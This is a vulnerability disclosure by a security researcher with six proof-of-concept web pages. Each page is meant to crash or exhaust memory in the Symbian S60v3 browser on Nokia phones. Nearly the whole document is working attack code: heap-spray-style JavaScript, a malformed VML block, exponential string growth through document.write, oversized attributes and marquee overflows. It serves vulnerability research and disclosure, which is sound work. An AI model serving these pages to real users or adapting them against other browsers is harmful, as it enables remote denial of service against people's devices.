My name is Nishant Das Patnaik, an independent security researcher from India. I have discovered multiple vulnerabilities in the Web Browser of the high end smartphones manufactured by Nokia running Symbian OS 3rd Edition. The detailed vulnerability disclosures along with tested PoCs have been documented separately, see below:

========================
Proof-of-Concept 0x01:
========================

	# Title: Nokia Symbian S60v3 WebBrowser Remote DoS PoC
	# Author: Nishant Das Patnaik
	# Date: 08/02/2010
	# Software Link: N/A
	# Version: Symbian S60 3rd Edition
	# Tested on: Nokia N95, Nokia N95 8GB, Nokia N73, Nokia E63
	# Impact: Attacker may exploit this flaw to make crash the browser of the victim or exhaust memory available to the browser.
	# Code:
	<html>
	<body>
	<script language="JavaScript">
	var size="%u03e8";
	var matrix = new Array();
	var slope = 0x100000-(size.length*2+0x01020);
	var bomb = unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000");
	while(bomb.length<slope/2) { bomb+=bomb;}
	var lh = bomb.substring(0,slope/2);
	delete bomb;
	for(i=0; i<0xC0; i++) {
	matrix[i] = lh + size;
	}
	CollectGarbage();
	var slope1=unescape("%u0b0b%u0b0b%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000AAAAAAAAAAAAAAAAAAAAAAAAA");
	var matrix1 = new Array();
	for(var x=0;x<1000;x++) matrix1.push(document.createElement("img"));
	function ready() {
	out1=document.createElement("tbody");
	out1.click;
	var out2 = out1.cloneNode();
	out11.clearAttributes();
	out1=null; CollectGarbage();
	for(var x=0;x<matrix1.length;x++) matrix1[x].src=slope1;
	out2.click;
	}
	</script>
	<script>window.setTimeout("ready();",800);</script>
	<center><h1> Nokia Symbian S60v3 WebBrowser Remote DoS PoC</h1>
	<h2> (C) Nishant Das Patnaik </h2>
	</center>
	</body>
	</html>


========================
Proof-of-Concept 0x02:
========================

	# Title: Nokia Symbian S60v3 WebBrowser Malformed VML DoS
	# Author: Nishant Das Patnaik
	# Date: 08/02/2010
	# Software Link: N/A
	# Version: Symbian S60 3rd Edition
	# Tested on: Nokia N95, Nokia N95 8GB, Nokia N73, Nokia E63
	# Impact: Attacker may exploit this flaw to make crash the browser of the victim or exhaust memory available to the browser.
	# Code:
	<html xmlns:v="urn:schemas-microsoft-com:vml">
	<head>
	<object id="VMLRender"
	classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
	</object>
	<style>
	v\:* { behavior: url(#VMLRender); }
	</style>
	</head>

	<body>

	<SCRIPT language="javascript">
	shellcode =
	unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000");

	bigblock = unescape("%u0000%u0000");
	headersize = 20;
	slackspace = headersize+shellcode.length;
	while (bigblock.length<slackspace) bigblock+=bigblock;
	fillblock = bigblock.substring(0, slackspace);
	block = bigblock.substring(0, bigblock.length-slackspace);
	while(block.length+slackspace<0x40000) block = block+block+fillblock;
	memory = new Array();
	for (i=0;i<350;i++) memory[i] = block + shellcode;

	</script>

	<v:rect style='width:120pt;height:80pt' fillcolor="red" >
	<v:recolorinfo recolorstate="t" numcolors="97612895">

	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v/recolorinfo>
	</html>


========================
Proof-of-Concept 0x03:
========================

	# Title: Nokia Symbian S60v3 WebBrowser Remote DoS
	# Author: Nishant Das Patnaik
	# Date: 08/02/2010
	# Software Link: N/A
	# Version: Symbian S60 3rd Edition
	# Tested on: Nokia N95, Nokia N95 8GB, Nokia N73, Nokia E63
	# Impact: Attacker may exploit this flaw to make crash the browser of the victim or exhaust memory available to the browser.
	# Code:
	<html>
	<head>
	<script language="JavaScript" type="Text/Javascript">
	var slope = unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141");
	var slope2 = unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000");
	var finalslope2 = expand(slope2, 49000000);
	var finalslope = expand(slope,   21000000);
	document.write(finalslope2);
	document.write(finalslope);
	function expand (slope, size) {
	var i = Math.ceil(Math.log(size) / Math.LN2),
	res = slope;
	do {
	res += res;
	} while (0 < --i);
	return res.slice(0, slope.length * size);
	}
	</script>
	</head>
	<body>
	</body>
	</html>
	<html><body><center><h1> Nokia Symbian S60v3 WebBrowser Remote DoS </h1>
	<h2> (C) Nishant Das Patnaik </h2>
	</center></body></html>


========================
Proof-of-Concept 0x04:
========================

	# Title: Nokia Symbian S60v3 WebBrowser Remote "throw" DoS
	# Author: Nishant Das Patnaik
	# Date: 08/02/2010
	# Software Link: N/A
	# Version: Symbian S60 3rd Edition
	# Tested on: Nokia N95, Nokia N95 8GB, Nokia N73, Nokia E63
	# Impact: Attacker may exploit this flaw to make crash the browser of the victim or exhaust memory available to the browser.
	# Code:
	<html>
	<head>
	<title>Nokia Symbian S60v3 WebBrowser "throw exception" Remote Crash and Denial of Service</title>
	<script language="JavaScript">
	var n=unescape("%u9090");
	var s=unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000");
	for(var i=0;i<64;i++){
		n=n+n;
		document.write('<script>throw n+s;</scr'+'ipt>');
	}
	</script>
	</head>
	<body>
	<center><h1> Nokia Symbian S60v3 WebBrowser Remote "throw" DoS </h1>
	<h2> (C) Nishant Das Patnaik </h2>
	</center></body>
	</html>

========================
Proof-of-Concept 0x05:
========================

	# Title: Nokia Symbian S60v3 WebBrowser "alink" Remote DoS
	# Author: Nishant Das Patnaik
	# Date: 08/02/2010
	# Software Link: N/A
	# Version: Symbian S60 3rd Edition
	# Tested on: Nokia N95, Nokia N95 8GB, Nokia N73, Nokia E63
	# Impact: Attacker may exploit this flaw to make crash the browser of the victim or exhaust memory available to the browser.
	# Code:
	<html>
	<head>
	<meta http-equiv="refresh" content="1; url=http://www.google.com">
	</head>
	<body alink="[encoded data, 243036 characters]"><center><h1> Nokia Symbian S60v3 WebBrowser "alink" Remote DoS </h1>
	<h2> (C) Nishant Das Patnaik </h2>
	</center></body></html>

========================
Proof-of-Concept 0x06:
========================

	# Title: Nokia Symbian S60v3 WebBrowser Bad Marquee Remote DoS
	# Author: Nishant Das Patnaik
	# Date: 08/02/2010
	# Software Link: N/A
	# Version: Symbian S60 3rd Edition
	# Tested on: Nokia N95, Nokia N95 8GB, Nokia N73, Nokia E63
	# Impact: Attacker may exploit this flaw to make crash the browser of the victim or exhaust memory available to the browser.
	# Code:
	<html>
	<script>
	function blast() {
	var buffer = unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000");
	for (i =0;i<150;i++) {
	buffer+=buffer+'A';
	document.write('<html><marquee><h1>'+buffer+buffer);
	}
	}
	</script>

	<body onload="javascript:blast();">
	<center><h1> Nokia Symbian S60v3 WebBrowser Bad Marquee Remote DoS </h1>
	<h2> (C) Nishant Das Patnaik </h2>
	</center></body>
	</html>